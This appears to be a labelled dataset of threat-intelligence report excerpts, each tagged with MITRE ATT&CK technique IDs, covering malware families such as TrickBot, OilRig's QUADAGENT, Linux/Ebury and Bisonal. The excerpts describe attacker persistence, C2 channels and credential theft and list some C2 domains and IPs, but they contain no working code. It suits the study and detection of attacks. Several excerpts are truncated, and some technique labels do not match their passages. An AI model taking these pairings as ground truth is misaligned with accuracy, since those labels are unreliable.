"Blue Mockingbird is the name we’ve given to a cluster of similar activity we’ve observed involving Monero cryptocurrency-mining payloads in dynamic-link library (DLL) form on Windows systems. Gaining entry . In at least two incident response (IR) engagements, Blue Mockingbird has exploited public-facing web applications (T1190: Exploit Public-Facing Application) that implemented Telerik UI for ASP.NET AJAX. The exploitation of this CVE is not unique to Blue Mockingbird, but it has been a common point of entry. In telemetry, investigators will notice w3wp.exe writing the DLLs to disk and then immediately loading them into memory afterward. Execution and evasion . The primary payload distributed by Blue Mockingbird is a version of XMRIG packaged as a DLL. Come for the exploit, stay for the mining . Blue Mockingbird leveraged multiple techniques for persistence during incidents. It executed the following command: Since COR_PROFILER was configured, every process that loaded the Microsoft .NET Common Language Runtime would execute the command above, re-establishing persistence. In at least one engagement, we observed Blue Mockingbird seemingly experimenting with different tools to create SOCKS proxies (T1090: Proxy) for pivoting. These were accompanied by cleartext references to command-line options common to XMRIG: The final piece of evidence came from a text log written to disk by some versions of the miner DLL. So far, we’ve identified two wallet addresses used by Blue Mockingbird that are in active circulation",T1569.002
"Compared to other adversary groups, C0d0so0 has shown the use of more sophisticated tactics and tools and has been linked to leveraging zero-day exploits on numerous occasions in combination with watering hole and spear phishing attacks",T1189
"The message box distracts the user as TrickBot’s payload is downloaded, stored in the %TEMP% folder, and executed. A new process injects the TrickBot payload into a svchost.exe process",T1055.012
"Zirconium is using what are referred to as web bugs, or web beacons, tied to a domain they purchased and populated with content. The actor then sends the associated URL in either email text or an attachment to a targeted account. Although the domain itself may not have malicious content, the web bug allows Zirconium to check if a user attempted to access the site. For nation-state actors, this is a simple way to perform reconnaissance on targeted accounts to determine if the account is valid or the user is active",T1583.001
"iSIGHT Partners has been monitoring the Sandworm Team’s activities from late 2013 and throughout 2014 – the genesis of this team appears to be around 2009. The team prefers the use of spear-phishing with malicious document attachments to target victims. The team has recently used multiple exploit methods to trap its targets including the use of BlackEnergy crimeware, exploitation of as many as two known vulnerabilities simultaneously, and this newly observed Microsoft Windows zero-day",T1566.001
"The first spam run on August 31 used a Rich Text Format (RTF) document laden with malicious macros. The vulnerability was used to retrieve and execute Cobalt Strike from a remote server they controlled. We also saw other threat actors using the same security flaw of late, like the cyberespionage group ChessMaster",T1059.005
"The loader processes them one by one. Then, it fetches the relocation offset (AND EAX,0xFFF), gets the pointed address and performs calculation – by removing old ImageBase (it’s value is hardcoded) and applying the new base – offset to the dynamically allocated memory where the unpacked code was copied",T1055.012
"computer name - username - operating system version and bitness - whether Diebold Warsaw GAS Tecnologia (an application, popular in Brazil, to protect access to online banking) is installed - list of installed security products",T1518.001 | T1518.001
"This variant of TrickBot employs a new, unique ability to steal passwords from KeePass, a free, open- source password manager. TrickBot's KeePass stealing capabilities seem to be inspired (or even partially copy-pasted) from a publicly available tool dubbed PoshKPBrute, a script that performs a dictionary attack against KeePass .kdbx files. Once it finds the dictionary key, it dumps all passwords as an output and sends the attackers the master password",T1552.001 | T1555.005
"The developer decided to remove the MFC library and put almost all the code in a unique function. The number of functions is divided by three. If the target would have a proxy, the malware would not be able to communicate outside. The attacker retrieves the proxy configuration in the registry: The network communication is divided in two parts. The first part uses the Microsoft Windows Wininet library. The purpose is to send reconnaissance information to the attackers. The malware sent to the operator the following information: the campaign ID (named Flag by the developer), the hostname of the compromised system, the IP address, the OS version, the proxy server of the system and if the system is running on VMware. To get this information, the attacker the VMXh-Magic-Value (0x0a). The second part of the communication is dedicated to the orders and the exfiltration. You can see in the screenshot 0x4E3 (1251 - Cyrillic Russian) and 0x362 (866 - DOS Cyrillic Russian): Sha256: 43606116e03672d5c2bca7d072caa573d3fc2463795427d6f5abfa25403bd280 C2 for the orders: dnsdns1[.]PassAs[.]us C2 URL for reconnaissance: hxxp://fund[.]cmc[.]or[.]kr/UploadFile/fame/x/o0.asp",T1012
"In addition to its own information stealing capabilities, the Astaroth Trojan campaign also uses an external feature NetPass. NetPass is one of the downloaded payload files renamed to lrdsnhrxxferyb.jpg",T1555 | T1552
These two families share multiple code similarities and have been developed and operated by Kimsuky at least since 2017,T1587.001
"Attempts to remain hidden from cybersecurity analysis by explicitly checking its environment for signs of debugging. Leverages existing Windows registry key that is enabled by default in Windows 10 to store configuration data. Employs polymorphic code, changing its runtime footprint during code execution to thwart memory analysis and evade signaturing. Uses position independent code (PIC) to throw off static analysis tools",T1497.003
"The Bazar loader gives the attacker its initial foothold in the environment, while the Bazar backdoor establishes persistence. The Bazar backdoor can lead to disrupted business continuity, data loss, and full compromise, undermining trust in an organization",T1105
"The Darkhotel APT will relentlessly spearphish specific targets in order to successfully compromise systems. Some targets are spearphished repeatedly with much the same social-engineering schemes. For example, the attachment “schedule(2.11~16).rar” could be sent on February 10th, with Darkhotel returning to the same targets in late May for a second attempt with attachment “schedule(6.1~6).rar",T1204.002 | T1566.001
"After confirming an active Internet connection, the Komplex payload begins carrying out its main functionality. The Komplex payload uses an 11-byte XOR algorithm to decrypt strings used for configuration and within C2 communications, including the C2 domains themselves. Figure 8 shows a screenshot of Komplex’s custom string decryption algorithm, along with the XOR key used to decrypt strings within the payload",T1573.001
"The payload communicates with its C2 server laceibagrafica[.]com by issuing HTTP POST requests with base64 encoded and encrypted messages in the data section. We had not seen any previous explanation of this C2 channel, so we will provide an overview of the back and forth communications between the payload and C2 server to show how this payload uses the names in Table 4. To do this analysis, we created a C2 server to interact with the Spark payload to issue commands, so all of the HTTP responses in this section are from the C2 server we created and not an actor developed C2 software. Figure 6 shows an initial beacon sent from the payload to its C2 server. However, all of the outbound requests from the payload to the C2 will look similar visually, as they all use HTTP POST requests to the same URL with encoded and encrypted messages",T1132.001 | T1071.001
"The BeagleBoyz have used a variety of techniques, such as spearphishing and watering holes, to enable initial access into targeted financial institutions",T1189
"At the end of the Main function, it creates another thread whose function is to collect credentials from a variety of software on the victim’s machine. It can collect user credentials from the system registry, local profile files, SQLite database files, and so on. Once it has captured the credentials of one the software packages it is looking for, it immediately sends it to the C&C server. One HTTP packet contains the credentials of one software package",T1082
"The second portion of EnvyScout is a modified version of the open-source tool FileSaver, which is intended to assist in the writing of files to disk via JavaScript. The code is borrowed directly from the publicly available variants with minor alterations, including whitespace removal, conversion of hex parameters to decimal, and renamed variables. By combining this code with components #3 and #4 detailed below, NOBELIUM effectively implements a methodology known as HTML smuggling",T1027.006
"Notable Differences The OopsIE Trojan delivered in this attack had functional code that was very similar to the OopsIE variant discussed in our previous blog. The main similarities include the use of a scheduled task to persistently execute on the system, as well as the same general process to communicate with its C2 server. For instance, this Trojan uses the InternetExplorer application object much like the previous OopsIE Trojan and a very similar sequence of requests to obtain commands. Also, this version of the Trojan inspects HTTP responses from the C2 server for the tags <pre> and </pre> and will parse that data for commands. However, there are many differences introduced to this version of OopsIE from the previously discussed variant. The following code snippet was used to decode strings within OopsIE",T1059.003 | T1027
"In order to deploy an implant for the final payload, ScarCruft uses a multi-stage binary infection scheme. This malware uses the public privilege escalation exploit code CVE-2018-8120 or UACME which is normally used by legitimate red teams. The downloader malware uses the configuration file and connects to the C2 server to fetch the next payload. In order to evade network level detection, the downloader uses steganography. The downloaded payload is an image file, but it contains an appended malicious payload to be decrypted",T1102.002
"While the decoy in Figure 2 is displayed, the macro will search the document for the delimiter ###$$$ and write the base64 encoded text that follows this delimiter to the file %APPDATA%\Base.txt. OopsIE Trojan Analysis The OopsIE Trojan delivered in these attacks is packed with SmartAssembly and further obfuscated with ConfuserEx v1.0.0. hex(Environment.UserName/Environment.MachineName)> The Trojan will issue a request to this URL to check (hence the chk string in the URL) to see if the C2 server has a command for the Trojan to run. The C2 server will respond to the Trojan’s request by echoing the value <hex(Environment.UserName/Environment.MachineName)> if it wishes to provide additional commands. If the C2 server does not respond with the appropriate echoed data, the Trojan will create a file named srvCheckresponded.tmp in the SpecialFolder.CommonApplicationData folder and write nothing to it before exiting. If the C2 server provides the appropriate echoed data in the response, the Trojan attempts to determine what commands the C2 wishes to run by issuing a request to the following URL: http://<c2 domain>/what. hex(Environment.UserName/Environment.MachineName)> After issuing the what command, the Trojan will parse the C2's response for the string Oops, which the Trojan will treat as the C2 making a mistake and will exit. Otherwise, the Server will respond with a command followed by a set of parameters, split up by the delimiter <>: [command]<>[parameters for command in hexadecimal format] The available commands are",T1074.001
"The infrastructure behind the malware attacks showed good compartmentalization of identities. We rarely found the same (fake) registration information used for more than one C2 domain. Stealth Falcon operators also appear to have deleted one of their attack domains, adhostingcache.com when they realized their attempt to target Donaghy had failed. We also noted that the (self-signed) SSL certificates on the C2 domains were changed several times as we monitored the infrastructure, perhaps in an attempt to thwart fingerprinting of their infrastructure via SSL certificates",T1573.001
"In this step, the attacker is using the publicly available requestbin.net DNS tunneling service, in order to get updates about the macros infection progress",T1071.004
pa – Instructions for malicious framework to impersonate the lsass.exe/vmtoolsd.exe token and inject itself into a new “svchost.exe -k netsvcs” process,T1055.004
"OSX/Keydnap uses a Tor2Web proxy for command and control. As noted by ESET, the main backdoor component (icloudsyncd) uses this proxy for communication purposes: “Keydnap is using the onion.to Tor2Web proxy over HTTPS to report back to its C&C server",T1071.001 | T1090.003
"""The purpose of this tool is to parse the hard drive for files with a specific extension and create an archive with these files. Finally, the archive is encoded before being sent to the C2. Afterward, the module will delete old """"sft"""" files assuming they were already exfiltrated. After a pause of 6,500 milliseconds, it will start its search for the targeted files. SFT file creation routine Using the working directory as a base path, which in this sample case is C:\DOCUME~1\<USER>~1\LOCALS~1\Temp\4CA-B25C11-A27BC\, each selected file will be compressed into the file kr.zp""",T1560.003
"As noted, Apple (quickly-ish) revoked the Developer code-signing certificate(s) that were used to sign the malicious payloads",T1059.004
"In this campaign, attackers used a Microsoft Word document called 0721.doc, which exploits CVE-2017-0199. This vulnerability was disclosed and patched days prior to this attack",T1203
"Many MFA providers allow for users to accept a phone app push notification or to receive a phone call and press a key as a second factor. The threat actor took advantage of this and issued multiple MFA requests to the end user’s legitimate device until the user accepted the authentication, allowing the threat actor to eventually gain access to the account",T1621
"While the QuietSieve malware family is primarily geared towards the exfiltration of data from the compromised host, it can also receive and execute a remote payload from the operator. These payloads are written to the user’s Application Data folder with a random alphanumeric name and are executed in a hidden window",T1113 | T1564.003
"The developer rewrote a large part of the code however the workflow is the same as previously and some features are copy/paste. This variant has exactly the same features as the previous variant: file listing, OS version getting, process killing, drive listing, execution via ShellExecuteW(), execution via named pipe, cleaning, file removal, file downloading. Here is an example of code similarities on the execution via named pipe function. The code is not exactly the same but the workflow and some constants are similar",T1027
Cisco Talos has observed another malware campaign that utilizes malicious Microsoft Office documents (maldocs) to spread the remote access trojan (RAT) ObliqueRAT. ObliqueRAT has been linked to the Transparent Tribe APT group in the past. This campaign hides the ObliqueRAT payload in seemingly benign image files hosted on compromised websites,T1204.001
Pre-2018 variants use the registry for persistence and create the following entry: Key: HKCU\Microsoft\Windows\CurrentVersion\Run Value: MSBuild Data: %APPDATA%\MSConsole\MSBuild.exe,T1547.001
"Javali targets Portuguese- and Spanish-speaking countries, active since November 2017 and primarily focusing on the customers of financial institutions located in Brazil and Mexico. Javali uses multistage malware and distributes its initial payload via phishing emails, as an attachment or link to a website",T1105 | T1566.002 | T1218.007 | T1059.005 | T1204.002
"Inside the “main_request_session_key” routine, SUNSHUTTLE constructs an HTTPS request to its configured C2. Upon an HTTP 200 response from the request, the response data from the C2 is expected to not contain the following string for the sample analyzed",T1071.001
"Intro The Ryuk threat actors went from a phishing email to domain wide ransomware in 5 hours. They escalated privileges using Zerologon (CVE-2020-1472), less than 2 hours after the initial phish. They used tools such as Cobalt Strike, AdFind, WMI, and PowerShell to accomplish their objective. Ryuk has been one",T1018
This time the malware was marketed and distributed by a legitimate-looking company called CoinGoTrade on their website coingotrade[.]com (Acquire Infrastructure: Domain [T1583.001,T1583.001
"1) Gathered system info from WMI 2) Gathered the ARP table 3) Gathered a list of running processes 4) Materialized a file “OracleJavaUpdater.ps1” to disk. This file gathers passwords and web browser data from a variety of sources: Windows Credential Vault, Internet Explorer, Firefox, Chrome, Outlook. some Internet Explorer password gathering code appears to be lifted from the GPLv3-licensed QuasarRAT88) 5) Executed “OracleJavaUpdater.ps1” 6) Deleted “OracleJavaUpdater.ps1” 7) Gathered a list of running processes again",T1555.003 | T1057 | T1555.004 | T1555
"Turla exploited the signed VirtualBox driver, VBoxDrv.sys v1.6.2, to deactivate DSE and load its unsigned payload drivers afterward",T1068 | T1553.006
"The FROMNET routine sends a request to the server using the WinINet API as well and returns the data from the response. To get an updated configuration and override the hardcoded values, the ransomware sends HTTP GET requests using the same headers as before, to",T1071.001
This saves screenshots as c:\system\screenshot.bmp and sends it to the C2 server at 46.166.165.254 every 60 minutes,T1113
"The tool was primarily used by the attackers to move laterally on the victim’s network. PowerShell: Microsoft scripting tool that was used to run commands to download payloads, traverse compromised networks, and carry out reconnaissance. WinSCP: Open source FTP client used to exfiltrate data from targeted organizations. LogMeIn: Cloud-based remote access software. It’s unclear whether the attackers gained unauthorized access to the victim’s LogMeIn accounts or whether they created their own",T1219
"""That code, Carmakal says, is signed with stolen certificates that make it look more legitimate. LockerGoga then rapidly encrypts the computer's files. On an average system within a few minutes, it is toast,"""" wrote Kevin Beaumont, a UK security researcher, in an analysis of the Norsk Hydro attack""",T1553.002
Enabling these features gives the threat actor a remote control channel to persistently access the victim's environment without using malicious software that could be detected,T1021.006
"Password from successful login to the infected server: Whenever someone logs in a system infected with Linux/Ebury, the sshd daemon will save the password and send it to the exfiltration server. Any password login attempt to the infected server: Even if the attempt is unsuccessful, the username and password used will be sent to the operators. Password on successful login from the infected server: When someone uses the ssh client on an infected server, Linux/Ebury will intercept the password and sent it to its exfiltration server. Private key passphrase: When the ssh client on an infected server prompts the user for an private key passphrase, the passphrase will be sent to the remote exfiltration server. Unencrypted private key: When a private key is used to authenticate to a remote server, the unencrypted version is intercepted by the malware. Unlike passwords, it will not send the key to the exfiltration server. Instead, it will store it memory and wait for the operators to fetch the key with the Xcat command. Private keys added to the OpenSSH agent with ssh-add: The keys added to an OpenSSH agent are also intercepted by the malware. Both the unencrypted key itself and the passphrase typed by the user will be logged",T1556
"Once executed, NavRAT will immediately leverage cmd.exe to perform a systeminfo and a tasklist check on the system it is running on while writing the output to a TMP file, once again attempting to hide within an AhnLab folder",T1059.003 | T1059.003
The Windows version of the malicious cryptocurrency application is an MSI Installer. The installer looks legitimate and has a valid digital signature from Sectigo (Obtain Capabilities: Digital Certificates [T1588.004]). The signature was signed with a code signing certificate purchased by the same user as the SSL certificate for jmttrading[.]org (Obtain Capabilities: Code Signing Certificates [T1588.003]). The MSI Installer asks the victim for administrative privileges to run (User Execution: Malicious File [T1204.002,T1204.002
"""Talos has identified two different infection vectors associated with this particular campaign. In order to compromise their victims, the threat actors sent the trojanized Microsoft Word documents, probably via email. The first vector relies on a trojanized document that fetches a remote template and then uses a known exploit. The second vector is a trojanized Word document that prompts the victim to enable macros and run a Visual Basic script. In the first scenario, Talos discovered a document named """"MinutesofMeeting-2May19.docx"""", that appeared to display the national flag of Jordan. Once the victim opens the document, it fetches a remove template from the actor-controlled website, hxxp://droobox[.]online:80/luncher.doc. Once the luncher.doc was downloaded, it used CVE-2017-11882, to execute code on the victim's machine""",T1221 | T1059.005 | T1204.002
"In situations where the primary C2 server does not return a response to the HTTP POST request described in the previous section, the malware fails back to using a DGA algorithm. The algorithm used by this malware is time-based and can be calculated using the values of year and month. A list of DGA domains is below: Figure 8: 12 Month DGA Genearation The malware will initiate DNS lookups for each domain generated by the DGA algorithm. The malware will perform a DNS query of the active DGA domain and expects that two IP addresses will be returned from the name server managing the DGA domain's namespace. The malware will then compute a secondary C2 server by performing a series of bit operations on the returned IP address values and combine them to determine the actual fallback C2 server address to use for subsequent C2 operations",T1568.002
"Beginning in January 2021, Mandiant Managed Defense observed multiple instances of abuse of Microsoft Exchange Server within at least one client environment. Our investigation revealed that the files created on the Exchange servers were owned by the user NT AUTHORITY\SYSTEM, a privileged local account on the Windows operating system. Furthermore, the process that created the web shell was UMWorkerProcess.exe, the process responsible for Exchange Server’s Unified Messaging Service. In subsequent investigations, we observed malicious files created by w3wp.exe, the process responsible for the Exchange Server web front-end",T1078.003
"Is important to highlight that among Retro’s documented techniques, it leverages malicious instances of msfte.dll, oci.dll and lame_enc.dll, and via Phantom DLL Hijacking. As previously documented, Ramsay also uses this technique in some of its versions also using msfte.dll and oci.dll",T1574.001
"In 2019, the actor behind Bisonal used a new way to deploy the machine on the target's systems. So next time the user opens an Office application, the malware will be loaded and executed. The purpose of the malware is to deploy Bisonal on the infected system ($tmp$\tmplogon.exe) and to create a Run registry key in order to execute Bisonal at the next reboot of the system. If you look at the report after executing the malicious document, you only see one action: the .wll file creation. The user also needs to open an Office application and finally a reboot is needed in order to execute the real payload: Bisonal",T1204.002
"The scheduled task will then run every five minutes, which provides persistent execution of the downloader script. The task itself is fairly simple, calling the VBScript file which contains a PowerShell one-liner as an argument to run the QUADAGENT payload (ex",T1053.005 | T1053.005
"Communications between Cyclops Blink clients and servers are protected under Transport Layer Security (TLS) (T1071.001), using individually generated keys and certificates. Sandworm manages Cyclops Blink by connecting to the C2 layer through the Tor network",T1090.003
It calls the following series of API calls to inject itself on the remote process before it exits,T1106
"After uploading these files, take advantage of the pre-built queries within BloodHound. These queries are a great way to start obtaining important information about your environment. Queries include: viewing all domain administrators; viewing users with the most local administrator rights; or viewing computers with the most administrative user access. One of these queries gives you the ability to map domain trusts, as shown in Figure 3",T1087.002
"Once the environment is checked, the backdoor will check for network connectivity by sending an HTTP GET request to hxxp://www.w3[.]org/1999/XSL/Format, ensuring the response is “This is another XSL namespace\n",T1016.001
"BazarLoader (aka Kegtap) consists of a loader and a backdoor component. The loader is responsible for installing and executing the backdoor element. The latest version of the loader contains a large amount of string and code obfuscation, and it has been observed utilizing a novel technique of mimicking legitimate software for persistence. CrowdStrike technical analysis has specifically revealed the loader mimicking communications software such as Softphone",T1036.005
"The victims of the new variant of the Bisonal backdoor, according to our telemetry, were from financial and military sectors located in Eastern Europe. Our research started from only one sample, but by using the Kaspersky Threat Attribution Engine (KTAE) we found 300+ almost identical samples. The target location forced the group to use a hardcoded Cyrillic codepage during string manipulations. This is important, for example, during remote shell functionality, to correctly handle the Cyrillic output from executed commands",T1059.003
"After establishing a session key, GoldMax reaches out to its C2 server to receive, decrypt (AES-256), parse, and execute commands. To retrieve an encrypted C2 command from its C2 server, GoldMax sends an HTTP GET request. This HTTP GET request only contains a single Cookie value, which matches the Cookie value used during the session key establishment process (the User-Agent and Connection headers and values are hardcoded, as before",T1071.001
"As with the spearphishing email, the lure documents' content attempts to convince the victim to click on another malicious URL and download a .ZIP file",T1204.002
"""If the victim clicks the """"Enable Content"""" button, thinking it will make the image visible, a malicious macro is executed""",T1204.002
It uses the following part of the script to determine the environment it is running on so that it can set the DLL version to use,T1082
The Ryuk Ransomware uses the Wake-on-Lan feature to turn on powered off devices on a compromised network to have greater success encrypting them,T1205
"""PlugX — A remote access tool notable for communications that may contain HTTP headers starting with """"X-"""" (e.g. X-Session: 0""""). Its presence on a compromised system allows a threat actor to execute a wide variety of commands, including uploading and downloading files, and spawning a reverse shell. The malware can be configured to use multiple network protocols to avoid network-based detection. DLL side loading is often used to maintain persistence on the compromised system. Its presence on a compromised system allows a threat actor to spawn a reverse shell, upload or download files, and capture keystrokes. DLL side loading has been used to maintain persistence on the compromised system. Source: Dell SecureWorks) - ChinaChopper web shell — A web-based executable script (see Figure 4) that allows a threat actor to execute commands on the compromised system. The server-side component provides a simple graphical user interface for threat actors interacting with web shells. TG-3390 has used additional web shells containing similarly formatted passwords. Hunter usage""",T1046
The link leads to an executable file which is a downloader for a previously unknown malware family that we now know as Tomiris,T1105
Trickbot (detected by Trend Micro as TSPY_TRICKBOT.THOIBEAI) now has a password grabber module that steals access from several applications and browsers,T1552.001
"Sibot reaches out to a legitimate but compromised website to download a DLL to a folder under System32. In observed instances the DLL is downloaded to C:\windows\system32\drivers\, renamed with a .sys extension, and then executed by rundll32. The scheduled task calls an MSHTA application to run Sibot via the obfuscated script. This simplistic implementation allows for a low footprint for the actor, as they can download and run new code without changes to the compromised endpoint by just updating the hosted DLL. The compromised website used to host the DLL is different for every compromised network and includes websites of medical device manufacturers and IT service providers",T1218.011 | T1036.005 | T1102
"The use of script-based backdoors is a common technique used by the OilRig group as we have previously documented. QUADAGENT is the 12th custom built tool that Unit 42 has documented the OilRig group using for their attacks. In their example, the OilRig group used a malicious macro document to deliver the backdoor, which is a tactic much more commonly used by them. Once the victim downloads and executes the email attachment, it runs silently with no additional decoy documents or decoy dialog boxes. Once the QUADAGENT payload has executed, it will use rdppath[.]com as the C2, first via HTTPS, then HTTP, then via DNS tunneling, each being used as a corresponding fallback channel if the former fails. The use of malicious macro delivery documents is a tactic we have observed the OilRig group use repeatedly over the three years we’ve been tracking them. The document also contained a lure image, similar to ones commonly found in malicious macro documents which ask the user to click on “Enable Content” as seen in Figure 2. We captured the commands we ran in Invoke-Obfuscation in the animation in Figure 3 below, which visualizes the steps the threat actor may have taken to create the payload delivered in this attack. While we do not have data supporting targeting information or telemetry, we know the document was created in January 2018 and likely used in an attack around that time frame. This IP and msoffice-cdn[.]com were both previously referenced in our first report on an OilRig attack using the ThreeDollars delivery document",T1204.002
"Once installed on a victim’s computer, Oldrea gathers system information, along with lists of files, programs installed, and root of available drives. It will also extract data from the computer’s Outlook address book and VPN configuration files. This data is then written to a temporary file in an encrypted format before being sent to a remote command-and-control (C&C) server controlled by the attackers",T1560 | T1083
"MuddyWater operators use a series of compromised websites that act as proxies in order to conceal the real address of the C2 server. Infected endpoints connect randomly to one of the proxy servers, which in turn relays the information to the C2. Operators use the C2 to dispatch commands and receive exfiltrated data",T1041 | T1090.002
"In this campaign, Earth Vetala threat actors used spearphishing emails and lure documents against organizations within the United Arab Emirates, Saudi Arabia, Israel, and Azerbaijan. The phishing emails and lure documents contain embedded URLs linking to a legitimate file-sharing service to distribute archives containing the ScreenConnect remote administrator tool. ScreenConnect is a legitimate application that allows systems administrators to manage their enterprise systems remotely",T1219
"1) Ferocious dropper: The Excel dropper, after the user opens it and disables the protected mode, will execute a series of formulas placed in a hidden column. 19: Check if a mouse is present. 42: Check if the host computer is capable of playing sounds. 2) 1: Get the name of the environment in which Microsoft Excel is running, as text, followed by the environment’s version number. 3) 19: Check if a mouse is present. 4) 42: Check if the host computer is capable of playing sounds. 5) Ferocious run-1: After the macro finishes writing to disk, it runs winrm.vbs using explorer.exe. Microsoft’s command line licensing tool slmgr.vbs is also able to provide similar results. Registry keys used for COM hijacking After the above execution chain, the Excel 4.0 macro will clean up and delete the winrm.vbs and winrm.txt files. 6) Ferocious run-2: The macro will continue after the cleanup by recreating and opening the same files, winrm.vbs and winrm.txt",T1120
"This new variant of FakeM shared the same functional code as its predecessors, but again the communications with the C2 dramatically differed from the other variants. Communications between this variant and the C2 server leverage what Unit 42 believes is modified SSL code, as the code is very similar to the FakeM SSL variant. The code appears to use Diffie-Hellman for key exchange and the RC4 algorithm like FakeM SSL; however, the initial packet sent to the C2 server did not contain a “client hello” message, which is required to initiate an SSL handshake. Instead, the initial packet sent data as seen in Figure 13",T1041 | T1041
"In the past, the Gamaredon Group has relied heavily on off-the-shelf tools. Our new research shows the Gamaredon Group have made a shift to custom-developed malware. We believe this shift indicates the Gamaredon Group have improved their technical capabilities. The custom-developed malware is fully featured an includes these capabilities",T1105 | T1120
"Next, the malware enumerates all .exe programs in the %System% folder and looks for an original signed Windows binary that imports from at least one KnownDll and from a library that is not in the KnownDll directory. At the time of writing, the dropper supports aepic.dll, sspisrv.dll, ftllib.dll, and userenv.dll to host the malicious FinFisher payload. Finally, a new Windows service is created with the service path pointing to the candidate .exe located in this new directory together with the freshly created, benign-looking DLL",T1543.003
"In the above decompiled code, we see that the pisloader is generating the following string, which eventually is called to set the Run registry key",T1059.003
"While investigating the Confucius threat actor, we found a recent spear phishing campaign that utilizes Pegasus spyware-related lures to entice victims into opening a malicious document downloading a file stealer",T1204.001
"Once the user opens the “.lnk” file, the embedded HTA file will be executed via “mshta.exe”, it then writes a PowerShell script name “3.ps1” in the “%TEMP%” directory. The PowerShell script is then executed using Windows Management Instrumentation (WMI) in a hidden window via WMI Tasks",T1047 | T1059.003
"It then scans for documents with valid Word or Excel file extensions on all drives connected to the system. The malware moves each located document into the AppData folder, inserts malicious Word or Excel macros into it using a Microsoft.Office.Interop object, and then moves the document back into its original folder. In the samples we analyzed, the injected macros were simple downloaders",T1559.001
"The contents above use the DDE functionality in Microsoft Word to run a PowerShell script to download the Koadic payload from a remote server, save it as an executable file on the system and then execute the payload",T1559.002 | T1059.001 | T1218.011
"Dragos identified PARISITE activity targeting ICS-related entities using known virtual private network (VPN) vulnerabilities. These vulnerabilities affect Fortinet, PulseSecure, and Palo Alto Networks VPN appliances. PARISITE’s current focus of targeting vulnerable VPN appliances indicates an interest in initial access to enterprise networks, including industrial networks",T1190
"All of them include dependencies needed to run QEMU in installerdata.dmg from which all files are copied over to /usr/local/bin and have appropriate permissions set along the way. Persistence is achieved by adding plist files in /Library/LaunchDaemons with RunAtLoad set to true. They also have KeepAlive set to true, ensuring the process will be restarted if stopped",T1543.004
"The first testing activity we observed began with an initial sample created on June 13, 2016 with 17 subsequent files created for testing purposes that the actor created in a two-hour period on June 15, 2016. Table 1shows the samples we observed associated with the June 2016 testing activity, including the iteration, the last modified timestamp, the hash, the filename, and the antivirus detection rate of the newly created file. The first “ttt.xls” file and the files with incrementing filenames have the same decoy contents, which is the reason we initially included this sample with this group despite the difference in naming. Also, the filename “ttt.xls” contains the acronym for “to the top”, which is common usage in Internet forums and could depict the actor starting testing activities",T1027.005
"We found four different trojaned binaries in use since July 2019. The 5kplayer, driver pack and Firefox trojanized software use a service to achieve persistence. The VPNpro trojanized application uses an AutoRun registry key, as mentioned in the publication released before July 2019. The setup deploys three files which are part of the toolset: rmaserv.exe, winprint32.exe and mssqldbserv.xml",T1059.001
This function returns Office 365 instances and information when the latest changes have been made (e.g,T1526
32(link is external)] Kimsuky also targets Microsoft Office users by formatting their documents in a .docx file rather than .hwp and will tailor their macros accordingly,T1547.001
"This backdoor, known as LOWBALL, uses the legitimate Dropbox cloud-storage service to act as the CnC server. It uses the Dropbox API with a hardcoded bearer access token and has the ability to download, upload, and execute files",T1102.002
We are planning to cover the Turla Carbon system with more details in a future report,T1082
"To operate correctly, it needs elevated administrative privileges which it attempts to obtain using the standard UAC prompt",T1548.002
"In this case, after the payload is delivered via an exploit the threat actor places files (named upload.bat, upload.rar, and period.txt, download.txt or silent.txt) in a directory on a Dropbox account. The malware beacons to this directory using the hardcoded API token and attempts to download these files (which are deleted from the Dropbox account after the download",T1083
"Many of these domains use valid SSL certificates, likely to make the spoofed pages appear authentic. The overwhelming majority of the certificates observed in 2019 were issued by Let's Encrypt, a nonprofit organization that programmatically issues free certificates. However, past campaigns used certificates issued by the Comodo certificate authority",T1588.004
"In the most recent variants of Linux/Ebury, strings are obfuscated with a simple XOR encryption with a static key. After unpacking, the malware loads various functions it requires using multiple calls to the dlsym function. Linux/Ebury then discovers the original executable address space by calling dlopen(NULL, RTLD_NOW) and passing the returned handle to dlinfo(handle, RTLD_DI_LINKMAP, …). This will work even if ASLR is enabled on a system. This behaviour gives Linux/Ebury the ability to walk the import table of an ELF executable and replace the original imported function address in memory. The result is that when the programsssh, sshd or ssh-add call one of the hooked function, it will be redirected to the malicious libkeyutils.so implementation that can replace the original behaviour",T1027
"This investigation allowed us to create strong ties between multiple campaigns that Lazarus has conducted, reinforcing our attribution. In this campaign the Lazarus group demonstrated its sophistication level and ability to circumvent the security measures they face during their attacks, such as network segmentation. We assess that Lazarus is a highly prolific group, conducting several campaigns using different strategies. They shared tools and infrastructure among these campaigns to accomplish their goals",T1105 | T1588.002
The ZxShell driver starts by acquiring some kernel information and then hooking “ObReferenceObjectByHandle” API. Finally it spawns 2 system threads,T1056.004
"Orangeworm likely uses this information to determine whether the system is used by a researcher or if the victim is a high-value target. Once Orangeworm determines that a potential victim is of interest, it proceeds to aggressively copy the backdoor across open network shares to infect other computers",T1021.002
The binary used the same string obfuscation technique - - Malicious document VBA code similarities with what’s shown in the screenshots - Digital signature signer name EGIS CO,T1059.005
"A new feature implemented in the WinHttp channel is a Domain Generation algorithm (DGA) for fallback domains. Unlike the usual DGA that retrieves its seed from pseudo-random numbers, this one gets a given seed (probably generated at compilation) for a given sample. The way that domains are generated is as follows",T1568.002
"This sample included a novel C2 channel that used the Exchange Web Services (EWS) API to send and receive emails containing steganographic images as attachments. This novel C2 channel supplemented the HTTP and DNS tunneling C2 channels seen in other RDAT samples, all of which we will discuss in detail in the upcoming sections",T1041
"GALLIUM does not typically use a traditional first stage installer for their malware. Instead, the group relies heavily on web shells as a first method of persistence in a victim network following successful exploitation. Subsequent malware is then delivered through existing web shell access",T1505.003
"The dropper installs the Bisonal EXE file and decoy PDF file. These files are not encrypted and the offset to the EXE and PDF file in the dropper is appended at the end of the dropper file. The file name of the decoy file is based on the dropper file name. The dropper code creates a PDF at the same directory, give the same name with itself to the decoy file, removes .exe and adds .pdf in the code. The dropper also creates two VBS scripts in the %Temp% directory with a random 4 digits hexadecimal name. One of them opens the decoy PDF file. The other deletes the dropper and the VBS script itself",T1059.005
"Usually TLS operates in simple mode, which only requires a server to carry out authentication. Mutual TLS means the malware has a trusted SSL certificate hardcoded in its binary that it uses to check the certificate provided by the C2; the malware also forwards its own hardcoded certificate to the C2 that the C2 checks. So long as both the C2 and the malware accept the provided certificates then communications will be encrypted using TLS, otherwise the connection will be rejected and the malware will not be able to communicate with the C2",T1587.003 | T1573.002
"This is a legitimate file, AVDump32.exe, digitally signed by “AVAST Software” as shown in figure 8",T1553.002
